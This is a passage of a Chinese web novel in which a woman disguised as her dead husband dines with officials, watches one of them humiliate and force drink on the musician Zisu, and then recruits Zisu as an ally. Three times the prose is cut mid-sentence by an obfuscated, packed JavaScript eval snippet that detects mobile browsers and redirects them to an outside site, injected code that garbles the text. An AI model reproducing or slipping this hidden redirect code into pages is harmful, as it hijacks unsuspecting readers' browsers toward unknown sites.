“你可以笑我天真，也可以说我固执。无论他人如何评说，这便是我的坚守。倘若人人都追求现实，四处趋炎附势，为自身利益蝇营狗苟，那又谈何家国大义？” 我沉默良久，不知如何开口。 一方面，我同情他，供奉着花天酒地的昏君，守着迂腐不堪的朝廷，还要自欺欺人。另一方面，我又佩服他，始终言行如一，选择淡泊名利，保持自身的气节。 我轻笑了几声。 赵怀礼问：“你笑什么？笑我愚昧无知？” “不。”我回答，“我笑你可怜，笑你可悲。” 赵怀礼不解：“你这是何意？” “没什么。”我笑着摇了摇头，“我只是忽然觉得，这世上有赵兄这样的人物，看起来也没那么不可救药了。常言都道，大智若愚，大巧若拙，大痴若悟。我瞧赵兄是个痴人，痴迷的是家国天下。” 赵怀礼闻言，神情有几分动容。他坐直了身子，面向我，问道：“那么，周弟是否也是痴人？” 这是他头一回称呼我为周弟。 先前他对我非常不屑，一直都是直呼其名，现在却忽然改了口。 我勾了勾嘴角，自嘲般说道：“在这人世间，贤人智人不到一成，痴人最多两成，剩下的十之七八，大多都是俗人。而我，好钱财、爱美色，便是俗到不能再俗的庸人一个。” “周弟不必妄自菲薄。”赵怀礼露出不赞同的表情，摇头道，“周弟心如明镜，内心如此通透，已经远胜于浑浑噩噩之辈。” “哦，是吗？”我眯起眼，用轻佻的语气问道，“可是赵兄几日前，还不是视我为宵小鼠辈？” 赵怀礼愣在原地，答不上话来。 我哈哈大笑，挥了挥衣袖：“只是开个玩笑罢了，赵兄不必慌张。” 赵怀礼却好像当了真，他侧过身子，郑重其事道：“是我道听途说，轻视了周弟，还请见谅。” 我是个记仇的人，冷不丁提起这茬，也只是想戏弄一下他，没真想让他道歉。看他这么认真，我反而有些不好意思。 幸好这时店小二端上了热菜，我连忙转移话题道：“这点小事，我完全没放在心上。菜上齐了，先动筷吧，免得待会冷了。” 7. 温柔乡 19 都说文人相轻，这话不是没有道理。 读书人大多喜欢卖弄文采。他们很难伺候，瞧不起胸无点墨之人，又讨厌别人压过自己的风头。 为了跟我的竹马们吟诗作对，在不冒犯他们的同时，又获得他们的赏识，我可费了好一番功夫。 不仅要饱读诗书，将各类典籍烂熟于心，还不能过于锋芒毕露，以免挫伤男人们可笑的自尊心。 熟读诗词歌赋也有不少好处，比如我在吃饭的时候，可以跟赵怀礼闲聊几句。 引经据典，再针砭时弊，最后来几段高谈阔论。这般操作下来，赵怀礼明显对我大大改观。 他对我侧目而叹：“周弟真是深藏不露，既有如此才华，又是何苦……” 何苦混迹于赌场，四处讨人嫌弃，枉费大好光阴，空占朝廷官职。 他没有把话说完，我却明白了他的未尽之言。 不仅他想知道，我也想知道。我真想把周佑民的骨灰从地里挖出来，然后怒骂他一顿。好好的一场人生开局，竟被他过得稀烂。 他不知道有多少穷困潦倒的农夫，羡慕他的衣食无忧；有多少怀才不遇的书生，次次科举落榜；又有多少文采斐然的女子，只能终身困于后院。而他中了科举，不想着为平民百姓谋利益，只顾着自己贪图享乐。 然而，纵使我有再多的诘问，周郎也无法给出回答。因为死人是不能说话的。 面对赵怀礼的感叹，我只能笑而不语。 在脑内思索了一圈，我故作高深地答道：“世人笑我太疯癫，我笑世人看不穿。这朝廷迂腐，容不下直言快语，我只好装作狂徒，肆意逍遥一把。” 这回答有些剑走偏锋，我也不知赵怀礼信了没有。 他沉吟片刻，告诫道：“周弟坦率，说者无心，但听者有意。这样的话莫要对他人说了。” 直言官场腐朽，容易被人当做把柄，指不定哪天就会被参上一本。 我明白他的好意，点了点头，也没有反驳。 酒足饭饱以后，店小二收拾了桌子。我走出酒楼，赵怀礼牵着侄子，准备跟我告别。 小孩不知怎么回事，可能是跟我处出了感情，竟有些依依不舍，拉着我的衣角不肯放手。 赵怀礼颇为无奈，好说歹说，也没能劝动。我揪了几把路边的草，随手编了个蟋蟀，塞到小孩的手里，安抚道：“听你小叔的话，乖乖回家去。下次我给你编小兔子，好吗？” 小孩犹豫再三，还是应了下来。他一步三回头地走了，还冲我挥了挥手。 我依稀看见，赵怀礼好像还冲我笑了一下。但由于距离隔得太远，我看得并不太真切。 20 刚回到府邸，家仆就迎上前来，为我端茶倒水。 他殷切地问道：“大人可玩得开心？” 我抿了一口热茶，想了想，答道：“还不错。” 家仆手脚勤快，在说话的间隙也没闲着，很快拿来更换的外衫，双手奉到我的面前。 我很喜欢他这股机灵劲儿，便随口问道：“你这么能干，不管到哪里，肯定都会讨主人家欢心。为何不随别的家仆离去，而偏偏选择留下，跟我待在这破落宅院？” “大人曾好心收留我。小的愚笨，却也懂得知恩图报的道理。绝不愿因为一时的困顿，而抛弃您多日的恩情。” 我见他反应机敏，不像是寻常小厮，忍不住问道：“你倒是口齿伶俐，可有读过书？” 家仆双肩一顿，拱手弯腰俯身，把脑袋压得更低了些。我看不清他的脸，只能听见他的声音：“不曾。” 我起了怜悯之心，摸了摸他的头，说道：“改日我教你识字。” 家仆诚惶诚恐，答道：“谢大人。” 我随口吩咐了他几件事，便关上门窗，和衣而卧，准备小憩一番。 没想到再次醒来，却已是日暮西斜。连日来积累的疲惫，也跟着烟消云散。 我揉了揉眼，从床上坐起身，正想喊人过来，敲门声却先一步响起。只听家仆在门外说道：“大人，李大人派人来传话，说是想跟几位同乡一叙。” 官场难以独善其身，大多有自己的势力。世家大族靠的是宗亲关系，而寻常士大夫则倚仗门生关系。唯有寒门子弟既无显赫家世，又没有师长引荐，只能互相抱团取暖，凭借地缘关系彼此扶持。 光是这层关系，私下里不可避免要走动。 以往周郎跟他们不太亲厚，但不代表我就要避而不见。人生在世，多个朋友便多条出路，我可不想给自己树立敌人。 因此我想也没想，便应答道：“好。” 21 我来到约定见面的地点。 抬头一看牌匾，只见上头刻着明晃晃的三个大字：温柔乡。 这名字听起来真不像正经地方。 柜台处倚着个花枝招展的女人，她看起来上了年纪，却掩盖不住眼底的风流。见我站在门口踟蹰不前，她便拎着手帕迎了出来，笑靥如花道：“客官是来吃饭的，还是看舞乐的？可有定包房？” 我定了定神，回答道：“地字三号厢房，劳烦老板娘引路。” “原来是李公子的客人，不用跟奴家客气。”女人用手帕虚掩嘴角的笑，落落大方道，“客官请随我来。” 我跟在她的后头，还未走上台阶，便听见二楼传来丝竹管乐之音。歌女唱着小调，随奏乐声时起时伏。 老板娘停下脚步，轻叩了几声，唤道：“各位大人，你们等的人来了。” 过来开门的是刘郎，他挑了挑眉，开口便是刺：“哟，周弟架子不小，可叫我们好等呐。” 上回他向我示好，希望我加入他的党派，我没有答应，想必他一直心怀芥蒂。如今再次见面，自然不会给我好脸色。 我没有搭他的话茬，只是绕了过去，径直往里走去，对包厢内坐着的其他同乡拱手以示敬意。 李郎见气氛有些不对劲，依旧当了个和事佬：“也没有等多久，不是周弟来得晚，是我来得早了些。” 刘郎脸色缓和了些许，冷哼一声：“这倒也是，他人好歹来了，总比张知节连人影也见不着好。” 顾郎拍了拍大腿根，笑道：“那是因为他怕老婆。” 李郎笑着附和道：“要是我娶了丞相的独女，我也怕。” 我有些不解，问道：“不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560171|171380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过是出来吃顿饭，有什么不妥当的地方吗？” 对面几人相视而笑，露出男人间心照不宣的神情。唯有顾郎迟疑了一下，上下打量了我几眼，指着旁边的舞女，解释道：“这里，不只能吃饭。” 后半句话他虽然没有说完，但我却领会了他的意思。原来我的猜想不假，温柔乡真是这么个说法。 顾郎不记仇，火气来得快，去的也快。上回他还扬言要揍我，这回反倒直接坐在了我身边。他用审视的目光望着我，问道：“你是真不知道，还是在装傻？” 顾郎不会隐藏自己的内心，有什么事直接摆在脸上。他此刻的神情仿佛在说：婉清还未去世多久，你若是敢负她，我一拳揍得你生不如死。 面对他威胁的眼神，我却泰然处之。 明枪易躲，暗箭难防。我不忌惮顾郎这种直来直去的莽汉，我只怕那种笑里藏刀的伪君子。 刘郎似乎察觉到我们之间的暗流涌动，故意拱火道：“周弟，这里好几个舞女歌姬，你选一个吧。” 你个小心眼的鳖佬，不就是没搭理你嘛，至于这样害我吗！ 我心里恨得牙痒痒，面上只能陪笑道：“今日我来晚了，当做赔礼道歉，各位兄长先选。” 瞧顾郎那副模样，我若是真的从中挑选了女人，他怕是当场要掀翻桌子。 刘郎驾轻就熟点了弹琴的姑娘，李郎对吹笛子的姑娘招了招手，唤她来到自己身边。看他们这副熟稔的模样，应该没少出入这里。 顾郎大马金刀坐在凳子上，全程目不斜视，只是死盯着我，好像是修筑城墙的监工。 我不由得汗颜：“你看我干什么，你看姑娘啊！” “呵。”顾郎嗤笑一声，“我若不盯着你，你肯定要水性杨花、左拥右抱。” 我被噎了一下。 要不是不想暴露自己是叶婉清，我真想踹他几脚。该死的顾明远，我当初是怎么教你成语的，居然这样乱用！ 顾郎通过武举得官，但学识不如其他竹马渊博。为了弥补他的缺陷，我那时没少帮忙补习。现如今是觉得搬起石头砸了自己的脚。 偏偏刘郎还嫌闹的不够大，在旁边火上浇油，笑道：“周弟，怎么还不选，难道你也怕老婆？” “是啊。”我冷笑一声，皮笑肉不笑地看着他，“我怕我最爱的婉清，从地里爬出来，哭着说她死不瞑目，哭着说她看走了眼，遇上了负心郎！” 出话一出，在场无人应声。 他们都认识我，都知道死去的叶婉清，也都曾许下海誓深盟。 只可惜，这世上易求无价宝，难得有情郎。他们都做了负心汉，自然做不到问心无愧。 “哈哈哈哈哈哈。”顾明远忽然仰天大笑，像是听见什么天大的笑话一般。 他笑得前俯后仰，甚至笑出了眼泪。他抹去眼角的泪水，拍了拍我的肩膀：“我以前怎么不曾发现，你说话竟这般有趣。” 我忍不住嘴角抽搐。顾明远估计是因为“叶婉清”的死受了些刺激，满腔情感无处发泄，于是尽数把注意力倾注在娶了“叶婉清”的周郎身上。 这让我感觉浑身不自在，仿佛被饿狼给盯上了一般。 8. 真心 22 顾郎的笑声，兀自回荡在偌大的厢房，显得有些不合时宜。 刘郎看着有些心烦意乱，便朝身旁的女子喝道：“还呆愣着干嘛，接着奏乐！” 许是他的声音太大，那女子哆嗦了一下，但还是乖顺地拨弄起琴弦。 李郎安抚道：“刘兄莫恼，她们不会伺候人，赶明儿我寻些姿色尚佳的美人给你瞧瞧。” “何止是不会伺候人，简直是歪瓜裂枣。”刘郎脸色稍霁，扬了扬下巴，“不懂诗情画意就算了，长得也寒酸磕碜。这个嘴巴太大，那个鼻子占地方，还有这个目光呆滞，看着就是个傻婆娘！” 他这副挑挑拣拣的架势，不知道的还以为是皇上选妃呢。 我竭力压下心头的厌恶，只觉得如坐针毡。 在场的女人，显然不只有我这么想。先前有个抱琵琶的女子，始终默默站在角落，低头一言不发。直到听见刘郎的嘲讽，她才抬起头来，眼底隐隐有几分不服气。 论乐曲的造诣，她们绝不逊于男子，甚至有过之而无不及。此刻我仿佛跟她心意相通，明白了她未曾言说的委屈愤恨。 这姑娘还是太年轻，喜怒皆显于形，容易被人看透心思，成为众矢之的。 我微微侧过身子，想要挡住她的面容。 可这愤世嫉俗的脸庞，在一众低眉顺眼的女子中显得太过突出。刘郎先我一步，察觉到了她的神情。 “你，叫什么名字？” 刘郎扬起下巴，撑着膀大腰圆的身子，死死盯着这女子。 “奴家名唤紫苏。” 女子抬起头，不卑不亢地答道。 “这名字不好。你既以中药命名，倒不如用花楹、连翘、雪见之类的名字。”刘郎摆出一副挑剔的模样，颇为嫌恶地说道,“紫苏不仅长得丑陋，味道还刺鼻，实在是不讨喜。” 只要是明眼人，都能听出他在指桑骂槐。表面是说紫苏气味冲，实际上是在阴阳这姑娘貌丑脾气差。 紫苏显然听懂了这番话。她咬了咬唇瓣，没有出言反驳，脸颊却因为愠怒而泛红。 我在心底冷哼一声。 果真是狗改不了吃屎,男人大多是刘郎这副臭德行。明明没碍着他的眼，也要指指点点一大堆，叫女人依照他的喜好去改。 若是女人乖顺听从，便会变本加厉，将其牢牢管教在自己手中，不准违背反抗。若女人心有不满，便要鸡蛋里挑骨头，从各方面不断打压，直到对方屈服为止。 我隐忍片刻，最终还是忍不住开口：“我倒觉得紫苏很好。生在山野，风来听风，雨来赏雨。没有花朵娇贵，还比杂草有用。既能解表散寒，又能止咳化痰。” 刘郎一时哑然。他停顿片刻，似要反驳，又想不出措辞。于是斜睨我一眼，意味深长地说道：“呵，周弟倒是懂得怜香惜玉。真是好一出英雄救美，我反倒成了恶人。” “既然这样，我这恶人就得做到底了。”刘郎伸出手，拽着紫苏的衣衫，将她推到我的怀里，又拎起酒壶倒了满满一杯酒，“来，喝酒。” 紫苏瞪着眼，把头扭到一边，不愿搭理他。 没想到刘郎竟钳住她的下颚，掰开她紧闭的牙关，强制将酒水灌入她的口中。紫苏使劲转过头，脸颊却被死死捏住，嘴角流出的酒水，淌得到处都是，浸透了她的衣裳。 “住手。” 我忍无可忍，甚至想要伸手扇他一耳光。 这个王八羔子，读了那么多圣贤书，半点品德没学到，尽知道仗势欺人。 刘郎挑了挑眉，语气带着几分戏谑：“她不喝，那你来喝？” 他将酒杯酌满，推到我的前面，直勾勾地盯着我。 我没有说话，拿起酒杯一饮而尽。 “好，好极了。”刘郎鼓了鼓掌，再次倒满酒，“来，继续喝。” 我一声不吭，再次喝完了酒。 “接着喝。” 抬手，放下。 “再来。” 再抬手，再放下。 不知喝过了多少轮，我只觉得眼前天旋地转。 周遭的人事物都变得虚浮，一切如同镜中月水中花，朦朦胧胧看不清楚。 刘郎不怀好意的脸，李郎作壁上观的脸，顾郎百无聊赖的脸。一张张脸漂浮在半空，看起来荒诞而又可笑。 最后我的目光停留在紫苏的脸上，她那担忧紧张的神情，却显得异常真实。 我仿佛从现实中剥离，双眼模糊不清，大脑却无比清醒。 我知道刘郎是故意灌醉我，他想要我出糗，想要我吃苦头。这事没有损害李郎的利益，所以他没有出言阻拦，只当是看了个乐子。至于顾郎，他打了个哈欠，看起来似乎更想回家。 我歪着脑袋，看了看他，问道：“你为什么不帮她？” 顾郎像是听见了什么奇怪的话。他有些莫名其妙地问道：“我为什么要帮她？” “她是个卖唱的，又不是良家女。既然入了风尘，就该拿出应有的架势。一方图财，一方图色。客人花了银两，她又何必惺惺作态，摆出一副受折辱的模样？”顾郎丝毫不觉有异，反而坦然道，“追根究底，本就是个你情我愿的事。若真想当贞洁烈妇，就不应该干这种活计。” “好一个你情我愿。”我忍不住冷笑道，“若有女子自小被父母卖去乐坊，沦落到此地，难道是出于她愿？若有女子父母双亡，孤苦伶仃只为糊口，来干这活计，莫非也是她咎由自取？你可抛头露面，她却只能守四方宅院；你可考官入仕、平步青云，她却只能相夫教子、苦守寒窑；你有凌云壮志、通天大道，她却只有崎岖小路、了却残生。” 顾郎听见我的这番话，眼里有一瞬间的茫然。他似乎从未料想过这些，可是又想要驳倒我，于是竭力寻找着漏洞：“可你说的这些，全部都是假设，自然当不了真。” 我摊开手掌，举到他的面前：“你看着我的手，这里有什么？” 顾郎的目光像是在看一个醉汉。他道：“什么都没有。” “对，什么也没有。”我跟着重复了一遍，“你觉得，现在我的手里没有银子，就代表我没有银子吗？现在你的眼前空空如也，没有山川河流，就代表大山不存在了吗？我方才列举的那些情况，那些女子的苦衷，不发生在你眼前的事，就不存在了么？” “可是……”顾郎眉头挤成一团，却又说不出反驳的话。 “可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560172|171380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是众生皆苦，都是这般熬过来的。”刘郎突然插话。 他嘴角挂着凉薄的笑，轻飘飘看了一眼紫苏，继续道：“我们十年寒穿苦读，才换来今日的锦衣玉食。今日我可怜她，谁又来可怜我？若这世上所有人，遭了苦难都要喊上几嗓子。我们人人都要可怜，可怜来，可怜去，那不得累死！” 顾郎原本纠结的表情，立刻得到了放松。他连连点头道：“确实如此。” 23 我的大脑忽然冷静下来，酒气也散了几分。 原来我并没有自己自认为的那么了解顾郎。我以为他虽是草莽粗汉，但内心却纯真赤诚。可其实说到底，他也是个男人。 只要是男人，就会千百种方法为自己开脱。他们骨子里仿佛刻着肉弱强食的本能，总是会天然选择有利于自己的说辞。 我恍然间回过神，才发觉不知从何时起，眼前形成了泾渭分明的一道线。以木桌为分水岭，我和紫苏站在这头，而刘郎顾郎等人站在那头。 站队归属早已不言而喻，他们终究是一伙的，而我则是个异类。 哪怕外表举止装得再像男人，我也终究是一个地地道道的女子，无法同他们沆瀣一气。明明只要味着良心，选择视而不见，我就能跟他们打成一片，可我偏偏做不到。 我原以为自己已经足够残忍，可来到他们的世界以后，我才发觉自己幼稚得可笑。 正所谓天道好回轮，苍天绕过谁。当初我笑赵怀礼天真，现如今在他们的眼里，我又何尝不是一种赵怀礼呢？ 权色酒财，如同四字真言，将他们牢牢系在一起，成为不可分割的链条。而我却以卵击石，妄图打破这道枷锁。 “顾明远，婉清生前曾跟我提起过你。”我定了定神，目不转睛地盯着顾郎。 顾郎双眼一亮，连忙追问道：“她怎么说我的？” “她说，你生性率直，满腔铁胆热肠，路见不平总会拔刀相助。”我缓缓吐出一口浊气，声音没有任何起伏，“如今我倒觉得，她真是看错了人。幸好她没有嫁给你。” 现在我明白了，原来在我自己都没有察觉到的内心深处，我也曾对顾郎隐隐抱有一丝期盼。 我盼他跟寻常人不同。可近朱者赤，近墨者黑。三年之内，他兴许还是个赤忱的少年郎。五年之内，他或许仍然能保持赤子之心。那么八年、十年以后呢？ 画虎画皮难画骨，知人知面不知心。真心向来瞬息万变，是否有朝一日，他也会被这偌大的京城所腐蚀，最后彻底沦为他们的同类？ 再真挚热烈的情感，都经不起柴米油盐的蹉跎。待我容颜老去，红颜化作枯骨，兰因终成絮果。曾经的情窦初开，怕是难以善始善终，最后只能潦草收场，酿成一对仇敌怨偶。 与其如此，倒不如从未开始。 “你，再说一遍？”顾郎站起身，攥紧了拳头，一步一步地逼近。 我抬起头，毫不避讳地跟他对视，又重复了一遍：“我说，幸好叶婉清没有嫁给你。” “好，很好。”顾郎顷刻间红了双眼，额头青筋暴起。他伸手一拍桌子，咬牙切齿地说道：“果然酒壮怂人胆，你竟然如此不知天高地厚，敢说这种话！” 9. 寿礼 24 在冲动挑衅顾郎的那一刻，我就做好了被揍的准备。 看见顾郎握拳，李郎“蹭”地站了起来，浑身紧绷地盯着这边，随时准备过来拉架。刘郎也坐起身体，模样不大轻松。 对于他们来说，先前只不过是动动嘴皮子功夫，开些不痛不痒的玩笑，自然是无伤大雅。若是见了血，闹出人命，就要另当别论了。 空气仿佛凝固，场面僵持不下。 顾郎忽然收回拳头，深吸一口气，转头拿起桌上的酒杯，泼到了我的脸上。 他说：“我看你是醉过头，该醒醒神了。” “你看起来也醉得不轻。”我抹了一把脸，检查人皮面具没有松动，再甩了甩头发沾上的酒水。 见我们没打起来，李郎稍微松了口气，忙不迭递来手帕，安抚着我：“哎呀，喝酒误事，不要意气用事嘛！逝者长已矣，过去的都过去了，往事休要再提。” 刘郎若无其事地劝道：“都是同乡，别伤了和气。” 我忍不住瞪他。这时候倒是知道同乡了，先前故意刁难我的时候，你这王八羔子可没管和气不和气。 这毫无歉意，只想息事宁人的态度，看得我直窝火。我心知若坐在这里的是张知节，他们绝不会这般怠慢他。 在这分三六九等的官场，若身份地位不够显赫，便只有遭人蹂躏的份。 我暗暗攥紧拳头，在心中发誓，今日他们要我吃的这哑巴亏，来日我叶婉清必定双倍奉还。 见我面露不虞，刘郎连忙转移话题：“对了，李兄，你今日叫我们过来相聚，是有何事要谈？” 李郎一拍脑袋，如梦初醒般说道：“你瞧我这记性，光顾着喝酒，差点忘记正经事。” “今日我叫诸位来，其实……”他停顿片刻，目光扫了一圈，稍微卖了个关子，才不急不慢地继续说道，“……是因为圣上的诞辰。” 此话一出，刘郎的神情立刻凝重了几分。我有些不解，于是微微偏过头，不动声色去观察顾郎的反应。 他同样摸不着头脑，直接开口问道：“诞辰就诞辰，难道有什么问题吗？” “顾弟，你今年才入京，不知道也正常。”李郎压低声音，缓缓说道，“若论什么日子，圣上最难伺候，这诞辰当属第一。” 顾郎纳闷道：“为何？” “这事说来话长。”李郎摆了摆手，示意歌女舞姬退下，才不紧不慢地解释道，“这事还得从已逝的前皇后说起……” 说罢李郎起了架势，仿佛一个酒楼的说书人。虽无醒木拍桌，却有人前摇扇。只听他摇头晃脑，绘声绘色讲起了这桩陈年往事。 圣上还是太子时，皇后就是太子妃，两人相互扶持，可谓是伉俪情深。既是青梅竹马，又彼此情投意合。太后娘娘看不惯皇后娘娘，在圣上登基为帝以后，太后曾多次中从插手，往后宫不断施压。圣上实在受不了，便主动疏远了皇后，从秀女中另择几位纳入后宫。 皇后娘娘自此吃斋礼佛，再也不过问圣上的事情，甚至整整一年都未曾同房。直到后来东窗事发，皇后娘娘竟然跟年轻太医私通，在圣上生辰之日当场抓了个现行。 圣上龙颜大怒，皇后娘娘却愤然道：“只许你三宫六院、粉红佳人，却不许我暗通曲款，真是好没道理。” 这话含着几分报复的意味，也道出了她私通的原因。圣上见她毫不羞愧，便怒骂她水性杨花、恬不知耻，下令当场处决这对奸夫□□。 皇后娘娘回答：“等闲变却故人心，却道故人心易变。当初说要跟我白头偕老的是你，后来置我于不顾的也是你。与其死在你这等负心汉的手里，我倒不如跟情人殉情来得痛快。” 说完这句话，她便拔下钗子，刺死了私通的太医，然后选择了自裁。 寥寥数语，便道尽了一个女子敢爱敢恨的一生。 我心中有些唏嘘，对着未曾谋面的前皇后，不由得生出几分惋惜。 刘郎却嗤之以鼻道：“要我说，这人就是贱。圣上好生待她，她却私相授受。都已经当了皇后，还不知满足，竟妄想圣上独宠她一人，真是不识大体。太后娘娘有先见之明，早些年便让圣上跟这妒妇离了心，可谓是顾全大局。” “刘兄慎言，这皇家之事，不是我们可以妄自非议的。” 李郎左顾右盼，担心隔墙有耳，便没再附和，而是中规中矩地评价道：“皇后生前是大将军的女儿，脾气爆性子烈，也是圣上相识多年的旧人。圣上是个重情重义的儿郎，至今妃嫔无数，却迟迟没有立后，恐怕也是伤透了心。他们二人当年爱得轰轰烈烈，最后却这般潦倒收场，怎会不令人感到唏嘘悲哀。我估摸算了一下，似乎就是从那时起，圣上开始纵情于声色犬马，日日待在脂粉堆里借酒消愁，再也不愿过问政事。” 说罢，他又转过头对顾郎解释道：“圣上的生辰，同时也是前皇后的忌日。每逢这个时候，圣上的心情便会阴晴不定。祝寿送礼必须尤为小心，笑也不行，哭也不行，面无表情也不行。” “那可不是嘛。”刘郎点了点头，适时补充道，“每年都有那么几个倒霉蛋遭殃，要么因为表现得太过喜庆被拖走，要么因为板着脸没有笑而流放。周弟年轻气盛，可得当心呐。” 我忍不住眯起眼。 哟，这家伙是在点我呢。不就是在咒我，控制不住表情，最后可能被收拾掉嘛。 他有心嘲讽我，我又不是任由人揉搓的软包子，才不会任由他挖苦。 “有劳刘兄关心。”我举杯朝他敬酒，回答道，“生死由命，富贵在天，我周某人随遇而安，不担心这些。反倒是刘兄，可有想好献上什么寿礼？送泥菩萨如何？” “圣上信道不信佛，送劳什子泥菩萨……”刘郎不屑一顾，嘴里正嫌弃着，说到一半顿住。他后知后觉反应过来，脸色立刻沉了下来。 我想他应该是明白了那句话的意思。泥菩萨过河——自身难保。 刘郎怒目而视，我笑而不语。他有空操心我，倒不如先担心自己。指不定那天就人头落地，小命不保了。 李郎察觉到我们剑拔弩张的气氛，连忙岔开话题：“说来惭愧，我冥思苦想几日，也没有拿定主意，不知该为陛下献上何等寿礼，因此才邀各位相聚。不知各位有何高见？” “我还纳闷李弟今日为何如此大方，原来是探我们的口风来了。”刘郎半开玩笑地说道，却并未急着回答问题，而是转向了顾郎，“不知顾弟是否有好主意？” 顾郎思索片刻，回答道：“如果是我，大概会送夜明珠。” 李郎点头：“不错，中庸之道，总归出不了错。” 他嘴上称赞，面上却是难掩失落。圣上什么好东西没见过，夜明珠有些流于俗套。混在一众寿礼里，估计难以留下印象，更别说在圣上面前表现自己。 李郎转头追问：“刘兄可有何指教？” 刘郎含糊其辞：“这事我也没有想好。” 若是真能想到别出心裁的寿礼，又怎会轻易告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560173|171380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知他人。刘郎闭口不言，李郎愁眉苦脸。 说什么礼轻情意重，那都是糊弄人的说辞。这送礼的门道可深了，既不能送得便宜，又要避免大出血，须得绞尽脑汁，才能送到人的心坎上。 这也是李郎宴请我们的最终目的。他想要根据我们的备礼，来敲定自己该献上何等贵重程度的寿礼。 我权衡片刻，决定卖他个人情：“李兄，在下不才，正好有点主意。” 李郎闻言，立刻振作起来，连忙为我酌酒：“洗耳恭听。” 我清了清嗓子，说道：“皇宫金银珠宝满贯，山珍海味俱全。李兄若是要送礼，需要独辟蹊径，才能不落窠臼。我听闻圣上好字画，不妨请来书画名家，合力写一万个寿字，作一幅万寿无疆图。” 李郎闻言，拍手称赞道：“周弟当真是聪慧！” 刘郎半信半疑地看着我，问道：“周弟有如此好的主意，为何不自己用，莫不是有更好的想法？” 我早就想好了说辞：“得道多助，失道寡助。我们同乡一场，唯有相互扶持，才能在这京城待得长久。今日我为李兄出谋划策，也算是为了我自己。” “是啊，周弟所言，甚是有理。”李郎领了我的情，这会儿知道站出来帮我说话了。 只听他情真意切，说道：“正所谓唇亡齿寒，我们都出身清河县，便是一荣俱荣、一损俱损。切不可互相倾轧，为名利斗得头破血流。唯有抱团取暖，方为良策。” 面对这根墙头草，刘郎并未多言，只是冷哼一声：“是我以小人之心，度君子之腹了。” 寿礼之事商定，桌上酒菜已尽，眼下也没有其他事，便准备分道扬镳，各自回家休憩。 告别的时候，顾郎欲言又止，瞥了我好几眼，似乎按耐不住心中的好奇。 他问:“你到底要送什么？” 我回答:“无可奉告。” 待彻底分开，我停下脚步，确认四周无人，才重新折返回温柔乡。 面对我的去而复返，老板娘意味深长地问道：“公子可是落下了什么东西？” 我给她塞了些银子，笑道：“东西没落，倒是心落在此处了。还请老板娘为我寻来紫苏姑娘，我有话要跟她单独说。” 老板娘眼珠子一转，拍了拍我的肩：“这点小事，公子放心。你能看上紫苏，是那丫头的福分，奴家这就为您喊来。” “哎，等等。”我又往她的手里添了一个银子，“有些事不方便在同僚面前声张，还请老板娘多多担待。” 老板娘收下银子，喜笑颜开道：“这点眼力见，奴家还是有的，必定守口如瓶。” 她领我来到小间包厢，便出门唤紫苏。不多时，紫苏便走了进来。 我还未开口，紫苏便先行了大礼。她道：“谢谢公子为我解围。” “这事对我来说，不过是举手之劳，姑娘不必挂齿。” 紫苏却很坚定：“对于公子来说，这兴许是小事，但对紫苏却是意义非凡。我本命如浮萍，身如蝼蚁，万事遭人摆布，百般身不由己。公子却待我如常，出言为我说话。今日之恩，紫苏来日必定涌泉相报。” “其实，不必等来日，眼前便有时机。”我连忙将她扶起，轻声说道，“但我并非是挟恩图报之人。因此，我会给你选择。若你听完我的来意，不愿冒着风险，我便不会再来叨扰。” 紫苏认真道：“公子请讲。” 我问她：“你想不想把今日嘲笑你的人，尽数踩在脚下？” 10. 权力 25 正所谓独木不成林，单丝难成线。在这偌大的京城，我若是单打独斗，迟早会碰得个头破血流。 因此，我打算培养自己的势力。紫苏便是我看中的人选之一。 我喜欢她的眼神，骨子里带着一股子劲儿，那是不逊于任何的欲望。而人只要有欲望，便可以适当拉拢，结成目的一致的同盟。 虽然她行事稍显稚嫩冲动，但我明白她是我的同类。因为我们都不甘心屈居人下，我们都有隐藏在表象之下的野心。 包厢内很安静，只能听见呼吸声起伏。 紫苏低着头，脸上神情不明。她的声音带着几分克制：“公子这是何意？” “世人总喜欢以欺凌弱小来彰显自己的优越。殊不知宰杀他人的权力，同样会宰杀自己。将他人交到自己手中的法则，同样会把自己交到更强力的手中。”我放缓语调，一字一句地说道，“我的那些同僚，今日对你肆意折辱，无非是因为你没有权力。若你大权在握，身份尊贵，你猜他们又该如何？” 紫苏闻言，忽然抬起头，直直地看向我。她的后背绷紧，双眸不断闪烁，似乎在思量着什么。 “公子有所不知，我这辈子遇见过形形色色的男人。但凡心有图谋，他们便会花言巧语，极尽自己所能引诱。虽然我对公子心存感激，但终归是萍水相逢一场。我也并非不谙世事的少女，会轻易相信陌生人的说辞。” 